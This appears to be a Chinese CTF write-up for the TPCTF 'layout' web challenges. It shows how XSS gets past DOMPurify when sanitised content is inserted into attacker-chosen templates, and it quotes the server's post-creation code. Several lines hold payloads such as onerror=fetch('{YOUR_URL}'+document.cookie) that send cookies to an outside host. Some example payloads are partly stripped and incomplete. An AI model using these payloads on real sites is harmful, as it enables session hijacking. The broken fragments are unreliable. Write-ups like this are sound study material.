ctf-web-xss-任意位置插入情况绕过-DOMPurify-tpctf-layout
ctf-web: xss 任意位置插入情况绕过 DOMPurify – tpctf layout
参考
baby layout
题目会将 {{cont}}
将被替换为有效负载,我们可以使用
" onerror=“fetch(’{YOUR_URL}’+document.cookie)
拼接后是这样的
或者创造意外的闭合,因为``优先级大于"
{{content}}拼接后是这样的
“>
或使用 data-x(safe layout非预期)some_data” onerror=“fetch(’{YOUR_URL}’+document.cookie)
safe layout revenge
tips: 你可以使用 来查看DOMPurify过滤后的内容 // 创建文章接口,接收内容和布局ID,生成文章并保存 app.post(’/api/post’, (req, res) => { const { content, layoutId } = req.body; // 解构请求体中的内容和布局ID if (typeof content !== ‘string’ || typeof layoutId !== ’number’) { return res.status(400).send(‘Invalid params’); // 参数类型检查 } if (content.length > LENGTH_LIMIT) return res.status(400).send(‘Content too long’); // 检查内容长度是否超过限制 const layout = req.session.layouts[layoutId]; // 获取指定ID的布局 if (layout === undefined) return res.status(400).send(‘Layout not found’); // 布局ID无效 // 使用DOMPurify清理内容,去除不允许的HTML标签 const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] }); // 将内容插入布局中 const body = layout.replace(/{{content}}/g, () => sanitizedContent); if (body.length > LENGTH_LIMIT) return res.status(400).send(‘Post too long’); // 检查生成的文章长度是否超过限制 // 生成文章ID并保存到Map中 const id = randomBytes(16).toString(‘hex’); posts.set(id, body); req.session.posts.push(id); // 将文章ID添加到session中 console.log(
Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}
); return res.json({ id }); // 返回文章ID }); 注意正则表达式中存在/g
,这意味这我们可以在模板中防止多个{{content}}
,他们都会被替换 a img src onerror=fetch({YOUR_URL}/
+document.cookie) 有效负载 a会变成
a